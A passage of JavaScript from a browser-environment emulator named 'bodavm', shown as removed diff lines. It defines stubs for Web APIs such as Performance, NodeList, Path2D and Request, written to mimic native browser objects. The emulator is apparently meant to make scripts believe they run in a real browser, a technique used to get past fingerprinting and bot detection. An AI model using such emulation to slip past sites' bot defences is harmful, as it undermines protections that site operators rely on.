{configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "getNamedItem", {configurable:true, enumerable:true, writable:true, value:function getNamedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "getNamedItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "getNamedItemNS", {configurable:true, enumerable:true, writable:true, value:function getNamedItemNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "getNamedItemNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "removeNamedItem", {configurable:true, enumerable:true, writable:true, value:function removeNamedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "removeNamedItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "removeNamedItemNS", {configurable:true, enumerable:true, writable:true, value:function removeNamedItemNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "removeNamedItemNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "setNamedItem", {configurable:true, enumerable:true, writable:true, value:function setNamedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "setNamedItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "setNamedItemNS", {configurable:true, enumerable:true, writable:true, value:function setNamedItemNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "setNamedItemNS", arguments)}},'prototype'); - -// NodeList对象 -bodavm.memory.globalobj['NodeList'] = function NodeList(){if (!(this instanceof NodeList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NodeList'], "NodeList"); -bodavm.toolsFunc.defineProperty('NodeList', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NodeList', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NodeList', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "values", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NodeList', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NodeList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NodeList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "item", arguments)}},'prototype'); - -// OfflineAudioContext对象 -bodavm.memory.globalobj['OfflineAudioContext'] = function OfflineAudioContext(){if (!(this instanceof OfflineAudioContext)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OfflineAudioContext': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OfflineAudioContext'], "OfflineAudioContext"); -bodavm.memory.globalobj['OfflineAudioContext'].prototype.__proto__=bodavm.memory.globalobj['BaseAudioContext'].prototype; -bodavm.memory.globalobj['OfflineAudioContext'].__proto__=bodavm.memory.globalobj['BaseAudioContext']; -bodavm.toolsFunc.defineProperty('OfflineAudioContext', "oncomplete", {configurable:true, enumerable:true, get:function oncomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "oncomplete_get", arguments)}, set:function oncomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "oncomplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OfflineAudioContext', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('OfflineAudioContext', "resume", {configurable:true, enumerable:true, writable:true, value:function resume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "resume", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OfflineAudioContext', "startRendering", {configurable:true, enumerable:true, writable:true, value:function startRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "startRendering", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OfflineAudioContext', "suspend", {configurable:true, enumerable:true, writable:true, value:function suspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "suspend", arguments)}},'prototype'); - -// Path2D对象 -bodavm.memory.globalobj['Path2D'] = function Path2D(){this._boarg= new bodaobj.window.Path2D();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Path2D'], "Path2D"); -bodavm.toolsFunc.defineProperty('Path2D', "addPath", {configurable:true, enumerable:true, writable:true, value:function addPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "addPath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "roundRect", {configurable:true, enumerable:true, writable:true, value:function roundRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "roundRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "arc", {configurable:true, enumerable:true, writable:true, value:function arc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "arc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "arcTo", {configurable:true, enumerable:true, writable:true, value:function arcTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "arcTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "bezierCurveTo", {configurable:true, enumerable:true, writable:true, value:function bezierCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "bezierCurveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "closePath", {configurable:true, enumerable:true, writable:true, value:function closePath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "closePath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "ellipse", {configurable:true, enumerable:true, writable:true, value:function ellipse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "ellipse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "lineTo", {configurable:true, enumerable:true, writable:true, value:function lineTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "lineTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "moveTo", {configurable:true, enumerable:true, writable:true, value:function moveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "moveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "quadraticCurveTo", {configurable:true, enumerable:true, writable:true, value:function quadraticCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "quadraticCurveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Path2D', "rect", {configurable:true, enumerable:true, writable:true, value:function rect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Path2D'].prototype, "Path2D", "rect", arguments)}},'prototype'); - -// LockManager对象 -bodavm.memory.globalobj['LockManager'] = function LockManager(){if (!(this instanceof LockManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LockManager'], "LockManager"); -bodavm.toolsFunc.defineProperty('LockManager', "query", {configurable:true, enumerable:true, writable:true, value:function query (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LockManager'].prototype, "LockManager", "query", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('LockManager', "request", {configurable:true, enumerable:true, writable:true, value:function request (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LockManager'].prototype, "LockManager", "request", arguments)}},'prototype'); - -// XPathExpression对象 -bodavm.memory.globalobj['XPathExpression'] = function XPathExpression(){if (!(this instanceof XPathExpression)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XPathExpression'], "XPathExpression"); -bodavm.toolsFunc.defineProperty('XPathExpression', "evaluate", {configurable:true, enumerable:true, writable:true, value:function evaluate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathExpression'].prototype, "XPathExpression", "evaluate", arguments)}},'prototype'); - -// Performance对象 -bodavm.memory.globalobj['Performance'] = function Performance(){if (!(this instanceof Performance)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Performance'], "Performance"); -bodavm.memory.globalobj['Performance'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Performance'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Performance', "timeOrigin", {configurable:true, enumerable:true, get:function timeOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "timeOrigin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "onresourcetimingbufferfull", {configurable:true, enumerable:true, get:function onresourcetimingbufferfull (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "onresourcetimingbufferfull_get", arguments)}, set:function onresourcetimingbufferfull (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "onresourcetimingbufferfull_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "clearMarks", {configurable:true, enumerable:true, writable:true, value:function clearMarks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearMarks", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "clearMeasures", {configurable:true, enumerable:true, writable:true, value:function clearMeasures (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearMeasures", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "clearResourceTimings", {configurable:true, enumerable:true, writable:true, value:function clearResourceTimings (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "clearResourceTimings", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "getEntries", {configurable:true, enumerable:true, writable:true, value:function getEntries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "getEntriesByName", {configurable:true, enumerable:true, writable:true, value:function getEntriesByName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntriesByName", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "getEntriesByType", {configurable:true, enumerable:true, writable:true, value:function getEntriesByType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "getEntriesByType", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "mark", {configurable:true, enumerable:true, writable:true, value:function mark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "mark", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "measure", {configurable:true, enumerable:true, writable:true, value:function measure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "measure", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "now", {configurable:true, enumerable:true, writable:true, value:function now (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "now", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "setResourceTimingBufferSize", {configurable:true, enumerable:true, writable:true, value:function setResourceTimingBufferSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "setResourceTimingBufferSize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "timing", {configurable:true, enumerable:true, get:function timing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "timing_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "navigation", {configurable:true, enumerable:true, get:function navigation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "navigation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "memory", {configurable:true, enumerable:true, get:function memory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "memory_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Performance', "eventCounts", {configurable:true, enumerable:true, get:function eventCounts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "eventCounts_get", arguments)}, set:undefined},'prototype'); -// performance对象 -bodavm.memory.globalobj['performance'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['performance'].__proto__=bodavm.memory.globalobj['Performance'].prototype; - -// ScreenOrientation对象 -bodavm.memory.globalobj['ScreenOrientation'] = function ScreenOrientation(){if (!(this instanceof ScreenOrientation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScreenOrientation'], "ScreenOrientation"); -bodavm.memory.globalobj['ScreenOrientation'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['ScreenOrientation'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('ScreenOrientation', "angle", {configurable:true, enumerable:true, get:function angle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "angle_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenOrientation', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenOrientation', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenOrientation', "lock", {configurable:true, enumerable:true, writable:true, value:function lock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "lock", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenOrientation', "unlock", {configurable:true, enumerable:true, writable:true, value:function unlock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "unlock", arguments)}},'prototype'); - -// PerformanceEntry对象 -bodavm.memory.globalobj['PerformanceEntry'] = function PerformanceEntry(){if (!(this instanceof PerformanceEntry)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceEntry'], "PerformanceEntry"); -bodavm.toolsFunc.defineProperty('PerformanceEntry', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEntry', "entryType", {configurable:true, enumerable:true, get:function entryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "entryType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEntry', "startTime", {configurable:true, enumerable:true, get:function startTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "startTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEntry', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEntry', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "toJSON", arguments)}},'prototype'); - -// PerformancePaintTiming对象 -bodavm.memory.globalobj['PerformancePaintTiming'] = function PerformancePaintTiming(){if (!(this instanceof PerformancePaintTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformancePaintTiming'], "PerformancePaintTiming"); -bodavm.memory.globalobj['PerformancePaintTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['PerformancePaintTiming'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; - -// PerformanceResourceTiming对象 -bodavm.memory.globalobj['PerformanceResourceTiming'] = function PerformanceResourceTiming(){if (!(this instanceof PerformanceResourceTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceResourceTiming'], "PerformanceResourceTiming"); -bodavm.memory.globalobj['PerformanceResourceTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['PerformanceResourceTiming'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "initiatorType", {configurable:true, enumerable:true, get:function initiatorType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "initiatorType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "nextHopProtocol", {configurable:true, enumerable:true, get:function nextHopProtocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "nextHopProtocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "workerStart", {configurable:true, enumerable:true, get:function workerStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "workerStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "redirectStart", {configurable:true, enumerable:true, get:function redirectStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "redirectStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "redirectEnd", {configurable:true, enumerable:true, get:function redirectEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "redirectEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "fetchStart", {configurable:true, enumerable:true, get:function fetchStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "fetchStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "domainLookupStart", {configurable:true, enumerable:true, get:function domainLookupStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "domainLookupStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "domainLookupEnd", {configurable:true, enumerable:true, get:function domainLookupEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "domainLookupEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "connectStart", {configurable:true, enumerable:true, get:function connectStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "connectStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "connectEnd", {configurable:true, enumerable:true, get:function connectEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "connectEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "secureConnectionStart", {configurable:true, enumerable:true, get:function secureConnectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "secureConnectionStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "requestStart", {configurable:true, enumerable:true, get:function requestStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "requestStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseStart", {configurable:true, enumerable:true, get:function responseStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseEnd", {configurable:true, enumerable:true, get:function responseEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "transferSize", {configurable:true, enumerable:true, get:function transferSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "transferSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "encodedBodySize", {configurable:true, enumerable:true, get:function encodedBodySize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "encodedBodySize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "decodedBodySize", {configurable:true, enumerable:true, get:function decodedBodySize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "decodedBodySize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "serverTiming", {configurable:true, enumerable:true, get:function serverTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "serverTiming_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "renderBlockingStatus", {configurable:true, enumerable:true, get:function renderBlockingStatus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "renderBlockingStatus_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseStatus", {configurable:true, enumerable:true, get:function responseStatus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseStatus_get", arguments)}, set:undefined},'prototype'); - -// Permissions对象 -bodavm.memory.globalobj['Permissions'] = function Permissions(){if (!(this instanceof Permissions)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Permissions'], "Permissions"); -bodavm.toolsFunc.defineProperty('Permissions', "query", {configurable:true, enumerable:true, writable:true, value:function query (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Permissions'].prototype, "Permissions", "query", arguments)}},'prototype'); - -// PermissionStatus对象 -bodavm.memory.globalobj['PermissionStatus'] = function PermissionStatus(){if (!(this instanceof PermissionStatus)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PermissionStatus'], "PermissionStatus"); -bodavm.memory.globalobj['PermissionStatus'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PermissionStatus'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PermissionStatus', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PermissionStatus', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PermissionStatus', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "onchange_set", arguments)}},'prototype'); - -// Request对象 -bodavm.memory.globalobj['Request'] = function Request(){if (!(this instanceof Request)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Request': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Request'], "Request"); -bodavm.toolsFunc.defineProperty('Request', "method", {configurable:true, enumerable:true, get:function method (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "method_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "headers", {configurable:true, enumerable:true, get:function headers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "headers_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "destination", 